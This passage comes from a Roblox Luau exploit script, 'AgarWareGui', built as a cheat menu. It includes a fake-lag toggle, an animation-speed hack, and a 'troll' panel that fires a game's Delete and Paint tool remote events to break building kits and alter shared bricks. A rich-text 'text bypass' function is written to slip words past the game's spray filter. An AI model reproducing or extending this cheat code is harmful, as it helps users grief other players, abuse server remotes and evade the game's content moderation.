FakeLagChanger.FocusLost:Connect(function()
local num = tonumber(FakeLagChanger.Text)
if num and num > 0 then
lagSpeed = num
else
FakeLagChanger.Text = tostring(lagSpeed)
end
end)
local function fakeLagLoop()
while isEnabled do
local char = LocalPlayer.Character
if char and char:FindFirstChild("HumanoidRootPart") then
local root = char.HumanoidRootPart
local freezeTime = math.clamp(0.8 / (lagSpeed * 3), 0.05, 0.8)
local unfreezeTime = math.clamp(0.2 / (lagSpeed * 3), 0.05, 0.5)
root.Anchored = true
task.wait(freezeTime)
root.Anchored = false
task.wait(unfreezeTime)
else
task.wait(0.2)
end
end
end
local function enableFakeLag()
isEnabled = true
FakeLagTickBox.BackgroundColor3 = getAccent()
lagLoop = task.spawn(fakeLagLoop)
end
local function disableFakeLag()
isEnabled = false
FakeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
local char = LocalPlayer.Character
if char and char:FindFirstChild("HumanoidRootPart") then
char.HumanoidRootPart.Anchored = false
end
end
FakeLagTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disableFakeLag()
else
enableFakeLag()
end
end)
LocalPlayer.CharacterAdded:Connect(function()
if isEnabled then
task.wait(0.5)
lagLoop = task.spawn(fakeLagLoop)
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disableFakeLag()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_11d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript
local function C_122()
local script = G2L["122"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local AnimSpeedRow = script.Parent
local AnimSpeedTickBox = AnimSpeedRow.AnimSpeedTickBox
local AnimSpeedChanger = AnimSpeedRow.AnimSpeedChanger
local MiscGroup = AnimSpeedRow.Parent
local MiscAccentColor = MiscGroup.MiscAccentColor
local isEnabled = false
local speedConnection = nil
local animSpeed = 1
local DEFAULT_SPEED = 1
local function getAccent()
return MiscAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = AnimSpeedRow
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "AnimSpeedTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Changes your animation speed. Set to 0 to freeze animations, higher = faster."
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.AutomaticSize = Enum.AutomaticSize.XY
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
AnimSpeedTickBox.MouseEnter:Connect(function()
local abs = AnimSpeedTickBox.AbsolutePosition
local size = AnimSpeedTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
AnimSpeedTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
local function getSpeed()
local num = tonumber(AnimSpeedChanger.Text)
if num == nil then return animSpeed end
if num < 0 then return animSpeed end
return num
end
local function applyAnimSpeed(speed)
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
track:AdjustSpeed(speed)
end
end
local function enableAnimSpeed()
isEnabled = true
AnimSpeedTickBox.BackgroundColor3 = getAccent()
speedConnection = RunService.Heartbeat:Connect(function()
applyAnimSpeed(getSpeed())
end)
end
local function disableAnimSpeed()
isEnabled = false
AnimSpeedTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if speedConnection then
speedConnection:Disconnect()
speedConnection = nil
end
applyAnimSpeed(DEFAULT_SPEED)
end
AnimSpeedTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disableAnimSpeed()
else
enableAnimSpeed()
end
end)
AnimSpeedChanger.FocusLost:Connect(function()
if AnimSpeedChanger.Text == "" then return end
local num = tonumber(AnimSpeedChanger.Text)
if num == nil or num < 0 then
AnimSpeedChanger.Text = tostring(animSpeed)
else
animSpeed = num
end
end)
LocalPlayer.CharacterAdded:Connect(function()
if isEnabled then
task.wait(0.5)
enableAnimSpeed()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disableAnimSpeed()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_122);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript
local function C_132()
local script = G2L["132"];
local RepGroup = script.Parent
local RepMinimize = RepGroup.RepTitle.RepMinimize
local RepRepRow = RepGroup:FindFirstChild("RepRepRow")
local function getRows()
local rows = {}
for _, child in ipairs(RepGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = RepGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
RepMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
RepGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
-- Hide RepRepRow itself
if RepRepRow then
RepRepRow.Visible = false
end
RepMinimize.Text = "+"
else
RepGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
-- Show RepRepRow
if RepRepRow then
RepRepRow.Visible = true
end
RepMinimize.Text = "-"
end
end)
end;
task.spawn(C_132);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip
local function C_133()
local script = G2L["133"];
-- ============================================================
-- REP BRICK TOOLTIP SCRIPT
-- ============================================================
local RepGroup = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local UnanchorRepTickBox = findDescendant("UnanchorRepTickBox")
local RichTextRepTickBox = findDescendant("RichTextRepTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local unanchorTooltip = makeTooltip(
"When enabled, all blocks that are placed will be unanchored. When disabled, all blocks that are placed will be anchored."
)
local richTextTooltip = makeTooltip(
"Enabling this lets you bypass words in the spray but this will sometimes fail and tag."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(UnanchorRepTickBox, unanchorTooltip)
hookTooltip(RichTextRepTickBox, richTextTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
unanchorTooltip:Destroy()
richTextTooltip:Destroy()
end
end)
end;
task.spawn(C_133);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript
local function C_139()
local script = G2L["139"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local BKitFixRow = script.Parent
local BKitFixButton = BKitFixRow.BKitFixButton
local BKitFixHelp = BKitFixRow.BKitFixHelp
local originalText = BKitFixButton.Text
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP SETUP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Fixes Bkit tools not working properly. Fixing it only works on you, and you can only build on existing blocks"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
BKitFixHelp.MouseEnter:Connect(function()
local abs = BKitFixHelp.AbsolutePosition
local size = BKitFixHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
BKitFixHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- FIX FUNCTION
-- Finds any tool in character or backpack and resets its script
-- No need to hold tool out
-- ============================================================
local function fixBkit()
local rs = game:GetService("ReplicatedStorage")
if not rs:FindFirstChild("Brick") then
local brick = Instance.new("Part")
brick.Name = "Brick"
brick.Parent = rs
end
local character = LocalPlayer.Character
if not character then return end
local function resetToolScript(tool)
local s = tool:FindFirstChild("Script")
if s then
s.Disabled = true
task.wait()
s.Disabled = false
end
end
-- Reset scripts in character (equipped tools)
for _, v in pairs(character:GetChildren()) do
if v:IsA("Tool") then
resetToolScript(v)
end
end
-- Reset scripts in backpack (unequipped tools)
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
resetToolScript(v)
end
end
end
local function onCharacterAdded(character)
task.wait(1)
fixBkit()
end
if LocalPlayer.Character then
onCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
-- ============================================================
-- BUTTON CLICK
-- ============================================================
BKitFixButton.MouseButton1Click:Connect(function()
BKitFixButton.Text = "FIXING..."
task.spawn(function()
local success, err = pcall(fixBkit)
if success then
BKitFixButton.Text = "FIXED!"
task.wait(3)
BKitFixButton.Text = originalText
else
BKitFixButton.Text = "FAILED"
task.wait(3)
BKitFixButton.Text = originalText
end
end)
end)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_139);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitBreakRow.BKitBreakScript
local function C_13d()
local script = G2L["13d"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local BKitBreakRow = script.Parent
local BKitBreakButton = BKitBreakRow.BKitBreakButton
local originalText = BKitBreakButton.Text
BKitBreakButton.MouseButton1Click:Connect(function()
BKitBreakButton.Text = "BREAKING..."
task.spawn(function()
local success, err = pcall(function()
local character = LocalPlayer.Character
if not character then error("No character") end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then error("No humanoid") end
-- Find delete tool in backpack
local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete")
if not deleteTool then error("Delete tool not found in backpack") end
-- Save currently equipped tool
local previousTool = character:FindFirstChildOfClass("Tool")
-- Equip Delete tool
humanoid:EquipTool(deleteTool)
task.wait(0.1) -- Wait for tool to equip
-- Get the event from the equipped tool
local event = deleteTool:WaitForChild("Script"):WaitForChild("Event")
-- Get Brick from ReplicatedStorage
local rs = game:GetService("ReplicatedStorage")
local brick = rs:FindFirstChild("Brick")
if not brick then error("No Brick in ReplicatedStorage") end
-- Fire delete event
event:FireServer(brick, character.HumanoidRootPart.Position)
task.wait(0.1)
-- Unequip Delete tool
humanoid:UnequipTools()
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
humanoid:EquipTool(previousTool)
end
end)
if success then
BKitBreakButton.Text = "BROKEN!"
task.wait(3)
BKitBreakButton.Text = originalText
else
BKitBreakButton.Text = "FAILED"
warn("[BKitBreak] Error:", err)
task.wait(3)
BKitBreakButton.Text = originalText
end
end)
end)
end;
task.spawn(C_13d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.SprayRepRow.SprayRepChanger.SprayRepScript
local function C_142()
local script = G2L["142"];
local SprayRepRow = script.Parent.Parent
local SprayRepChanger = SprayRepRow:WaitForChild("SprayRepChanger")
local RepGroup = SprayRepRow.Parent
local RichTextRepRow = RepGroup:FindFirstChild("RichTextRepRow")
-- Store spray text
local sprayText = ""
-- ============================================================
-- TEXT BYPASS (made by Normalxsx/2AreYouMental110)
-- ============================================================
local function bypassText(txt)
if txt == nil or txt == "" then
return ""
end
local bypassmarkups = {}
local alphabet = "acdefghjklmnopqrtvwxyz"
for i = 1, string.len(alphabet) do
table.insert(bypassmarkups, string.sub(alphabet, i, i))
end
local returntxt = ""
for i = 1, string.len(txt) do
local char = string.sub(txt, i, i)
if i % 2 == 0 then
returntxt = returntxt .. char
else
local selectedmarkup = bypassmarkups[math.random(1, #bypassmarkups)]
returntxt = returntxt .. "<" .. selectedmarkup .. ">" .. char .. "" .. selectedmarkup .. ">"
end
end
return returntxt
end
-- ============================================================
-- TEXT CHANGED
-- ============================================================
SprayRepChanger:GetPropertyChangedSignal("Text"):Connect(function()
local text = SprayRepChanger.Text
-- If empty or placeholder, set to empty
if text == "" or text == SprayRepChanger.PlaceholderText then
sprayText = ""
else
-- Check if RichText is enabled
local isRichTextEnabled = RichTextRepRow and RichTextRepRow:GetAttribute("RichTextEnabled")
if isRichTextEnabled then
-- Apply bypass to the text
sprayText = bypassText(text)
else
-- Use text as-is without bypass
sprayText = text
end
end
-- Store in attribute for ApplyChanges to read
SprayRepRow:SetAttribute("SprayText", sprayText)
end)
-- ============================================================
-- INITIALIZE
-- ============================================================
SprayRepRow:SetAttribute("SprayText", "")
print("[SprayRep] Initialized - Empty by default")
end;
task.spawn(C_142);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.APPLYCHANGESRow.APPLYCHANGESScript
local function C_144()
local script = G2L["144"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local APPLYCHANGESRow = script.Parent
local APPLYCHANGESButton = APPLYCHANGESRow:WaitForChild("APPLYCHANGESButton")
local RepGroup = APPLYCHANGESRow.Parent
local ColorRepRow = RepGroup:FindFirstChild("ColorRepRow")
local UnanchorRepRow = RepGroup:FindFirstChild("UnanchorRepRow")
local SprayRepRow = RepGroup:FindFirstChild("SprayRepRow")
local SprayColorRepRow = RepGroup:FindFirstChild("SprayColorRepRow")
local MaterialRepRow = RepGroup:FindFirstChild("MaterialRepRow")
local originalText = APPLYCHANGESButton.Text
local isPainting = false
local cancelPainting = false
-- ============================================================
-- GET TOOLS AND EVENTS
-- ============================================================
local function getPaintTool()
return LocalPlayer.Backpack:FindFirstChild("Paint")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
end
local function getPaintEvent()
local tool = getPaintTool()
if tool then
return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
end
return nil
end
local function getRepBrick()
local repStorage = game:GetService("ReplicatedStorage")
return repStorage:FindFirstChild("Brick")
end
-- ============================================================
-- EQUIP PAINT TOOL
-- ============================================================
local function equipPaintTool()
local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint")
if not paintTool then
return false, "Paint tool not found in backpack"
end
local character = LocalPlayer.Character
if not character then
return false, "No character"
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then
return false, "No humanoid"
end
-- Equip Paint tool if not already equipped
if not character:FindFirstChild("Paint") then
humanoid:EquipTool(paintTool)
task.wait(0.1)
end
return true
end
-- ============================================================
-- PAINT REP BRICK
-- ============================================================
local function paintRepBrick()
if isPainting then
-- Cancel current painting
cancelPainting = true
return
end
isPainting = true
cancelPainting = false
APPLYCHANGESButton.Text = "Painting Block..."
task.spawn(function()
local success, errorMsg = pcall(function()
-- Get selected color
local selectedColor = ColorRepRow and ColorRepRow:GetAttribute("SelectedColor")
if not selectedColor then
selectedColor = Color3.fromRGB(192, 192, 192) -- Default gray
end
-- Get rep brick
local repBrick = getRepBrick()
if not repBrick then
error("Rep brick not found in ReplicatedStorage")
end
-- Save currently equipped tool
local character = LocalPlayer.Character
if not character then
error("No character")
end
local previousTool = character:FindFirstChildOfClass("Tool")
local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
-- Equip paint tool if not already equipped
if not wasPaintEquipped then
local equipped, equipError = equipPaintTool()
if not equipped then
error(equipError)
end
end
-- Get paint event
local paintEvent = getPaintEvent()
if not paintEvent then
error("Paint event not found")
end
-- Paint all 6 sides (just color, no toxify)
local sides = {
Enum.NormalId.Front,
Enum.NormalId.Right,
Enum.NormalId.Back,
Enum.NormalId.Left,
Enum.NormalId.Top,
Enum.NormalId.Bottom
}
for i, side in ipairs(sides) do
-- Check if cancelled
if cancelPainting then
error("Cancelled")
end
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "", "")
end)
task.wait(0.05)
end
-- Apply material
local selectedMaterial = MaterialRepRow and MaterialRepRow:GetAttribute("SelectedMaterial")
if selectedMaterial and selectedMaterial ~= "" then
-- Apply material on one side (it applies to whole block)
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", selectedColor, selectedMaterial, "")
end)
task.wait(0.1)
end
-- Get spray text
local sprayText = SprayRepRow and SprayRepRow:GetAttribute("SprayText")
-- Always clear spray first (whether adding new text or removing it)
for i, side in ipairs(sides) do
-- Check if cancelled
if cancelPainting then
error("Cancelled")
end
-- Retry clearing spray on each side
for retry = 1, 2 do
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", selectedColor, "spray", "")
end)
task.wait(0.03)
end
end
-- Then apply new spray text if it exists
if sprayText and sprayText ~= "" then
-- Get spray color (default to white if not set)
local sprayColor = SprayColorRepRow and SprayColorRepRow:GetAttribute("SelectedColor")
if not sprayColor then
sprayColor = Color3.new(1, 1, 1) -- Default white
end
-- Spray text on all 6 sides with selected color
for i, side in ipairs(sides) do
-- Check if cancelled
if cancelPainting then
error("Cancelled")
end
-- Retry spraying on each side to ensure it shows
for retry = 1, 2 do
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", sprayColor, "spray", sprayText)
end)
task.wait(0.03)
end
end
end
-- Handle anchoring/unanchoring
local shouldUnanchor = UnanchorRepRow and UnanchorRepRow:GetAttribute("UnanchorEnabled")
if shouldUnanchor ~= nil then
-- Check current anchor state
local isCurrentlyAnchored = repBrick.Anchored
if shouldUnanchor and isCurrentlyAnchored then
-- Clear spray on Top side first (so anchor event works)
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "")
end)
task.wait(0.1)
-- Unanchor the brick
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
end)
task.wait(0.1)
-- Re-apply spray on Top side if there was text
if sprayText and sprayText ~= "" then
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText)
end)
task.wait(0.05)
end
elseif not shouldUnanchor and not isCurrentlyAnchored then
-- Clear spray on Top side first (so anchor event works)
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", selectedColor, "spray", "")
end)
task.wait(0.1)
-- Anchor the brick
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
end)
task.wait(0.1)
-- Re-apply spray on Top side if there was text
if sprayText and sprayText ~= "" then
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", Color3.new(1, 1, 1), "spray", sprayText)
end)
task.wait(0.05)
end
end
end
-- Restore previous tool or unequip
if not wasPaintEquipped then
local humanoid = character:FindFirstChild("Humanoid")
if humanoid then
humanoid:UnequipTools()
task.wait(0.1)
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
humanoid:EquipTool(previousTool)
end
end
end
end)
isPainting = false
if cancelPainting then
APPLYCHANGESButton.Text = "Cancelled"
task.wait(1)
elseif success then
APPLYCHANGESButton.Text = "Applied!"
task.wait(2)
else
APPLYCHANGESButton.Text = "Paint tool not found!"
warn("[ApplyChanges] Error:", errorMsg)
task.wait(2)
end
APPLYCHANGESButton.Text = originalText
cancelPainting = false
end)
end
-- ============================================================
-- BUTTON CLICK
-- ============================================================
APPLYCHANGESButton.MouseButton1Click:Connect(paintRepBrick)
end;
task.spawn(C_144);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UnanchorRepRow.UnanchorRepScript
local function C_147()
local script = G2L["147"];
local UnanchorRepRow = script.Parent
local UnanchorRepTickBox = UnanchorRepRow:WaitForChild("UnanchorRepTickBox")
local function getAccentColor()
local RepGroup = UnanchorRepRow.Parent
local a = RepGroup:FindFirstChild("RepAccentColor")
return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
end
-- State
local isEnabled = false
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
isEnabled = not isEnabled
if isEnabled then
UnanchorRepTickBox.BackgroundColor3 = getAccentColor()
else
UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
-- Store in attribute for ApplyChanges to read
UnanchorRepRow:SetAttribute("UnanchorEnabled", isEnabled)
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
UnanchorRepTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- INITIALIZE
-- ============================================================
UnanchorRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
UnanchorRepRow:SetAttribute("UnanchorEnabled", false)
print("[UnanchorRep] OFF by default")
end;
task.spawn(C_147);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.MaterialRepRow.MaterialRepScript
local function C_14d()
local script = G2L["14d"];
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local MaterialRepRow = script.Parent
local MaterialRepDropdown = MaterialRepRow:WaitForChild("MaterialRepDropdown")
local selectedMaterial = "Smooth"
local isOpen = false
local ROW_HEIGHT = 16
local MAX_ROWS = 7
local BG = Color3.fromRGB(24, 24, 24)
local BORDER = Color3.fromRGB(57, 57, 57)
local WHITE = Color3.new(1, 1, 1)
local DIM = Color3.fromRGB(120, 120, 120)
local BLUE = Color3.fromRGB(0, 123, 255)
local HOVER = Color3.fromRGB(36, 36, 36)
local MATERIALS = {
"Smooth", "Plastic", "Tiles", "Bricks", "Planks", "Ice", "Grass", "Sand",
"Snow", "Glass", "Wood", "Stone", "Pebble", "Marble", "Granite",
"Steel", "Metal", "Asphalt", "Concrete", "Pavement",
"Neon", "Toxic"
}
if not game:IsLoaded() then
game.Loaded:Wait()
end
repeat task.wait() until MaterialRepDropdown.AbsoluteSize.X > 0
local mainLabel = Instance.new("TextLabel")
mainLabel.Name = "MainLabel"
mainLabel.Size = UDim2.new(1, -24, 1, 0)
mainLabel.BackgroundTransparency = 1
mainLabel.Text = "Smooth"
mainLabel.TextColor3 = WHITE
mainLabel.TextSize = 14
mainLabel.Font = Enum.Font.Code
mainLabel.TextXAlignment = Enum.TextXAlignment.Center
mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
mainLabel.ZIndex = 2
mainLabel.Parent = MaterialRepDropdown
local mainArrow = Instance.new("TextLabel")
mainArrow.Name = "MainArrow"
mainArrow.Size = UDim2.new(0, 24, 1, 0)
mainArrow.Position = UDim2.new(1, -24, 0, 0)
mainArrow.BackgroundTransparency = 1
mainArrow.Text = "▼"
mainArrow.TextColor3 = WHITE
mainArrow.TextSize = 14
mainArrow.Font = Enum.Font.Code
mainArrow.TextXAlignment = Enum.TextXAlignment.Center
mainArrow.ZIndex = 2
mainArrow.Parent = MaterialRepDropdown
local function getScreenGui()
local p = MaterialRepRow
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local panel = Instance.new("Frame")
panel.BackgroundColor3 = BG
panel.BorderSizePixel = 0
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
panel.ZIndex = 999
panel.Visible = false
panel.Parent = getScreenGui()
local panelStroke = Instance.new("UIStroke")
panelStroke.Color = BORDER
panelStroke.Thickness = 1
panelStroke.Parent = panel
local searchBox = Instance.new("TextBox")
searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
searchBox.BackgroundColor3 = BG
searchBox.BorderSizePixel = 0
searchBox.Text = ""
searchBox.PlaceholderText = "Search materials..."
searchBox.PlaceholderColor3 = DIM
searchBox.TextColor3 = WHITE
searchBox.TextSize = 14
searchBox.Font = Enum.Font.Code
searchBox.TextXAlignment = Enum.TextXAlignment.Left
searchBox.ClearTextOnFocus = false
searchBox.ZIndex = 1000
searchBox.Parent = panel
local searchPad = Instance.new("UIPadding")
searchPad.PaddingLeft = UDim.new(0, 6)
searchPad.PaddingRight = UDim.new(0, 24)
searchPad.Parent = searchBox
local searchArrow = Instance.new("TextButton")
searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
searchArrow.Position = UDim2.new(1, -24, 0, 0)
searchArrow.BackgroundTransparency = 1
searchArrow.Text = "▲"
searchArrow.TextColor3 = WHITE
searchArrow.TextSize = 14
searchArrow.Font = Enum.Font.Code
searchArrow.BorderSizePixel = 0
searchArrow.ZIndex = 1001
searchArrow.Parent = panel
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
scrollFrame.Size = UDim2.new(1, 0, 0, 0)
scrollFrame.BackgroundTransparency = 1
scrollFrame.BorderSizePixel = 0
scrollFrame.ScrollBarThickness = 2
scrollFrame.ScrollBarImageColor3 = BORDER
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ZIndex = 1000
scrollFrame.Parent = panel
local listLayout = Instance.new("UIListLayout")
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Parent = scrollFrame
local function updatePanelSize(rowCount)
local visibleRows = math.min(rowCount, MAX_ROWS)
local scrollH = visibleRows * ROW_HEIGHT
scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
end
local function buildList(filter)
for _, child in pairs(scrollFrame:GetChildren()) do
if child:IsA("Frame") then child:Destroy() end
end
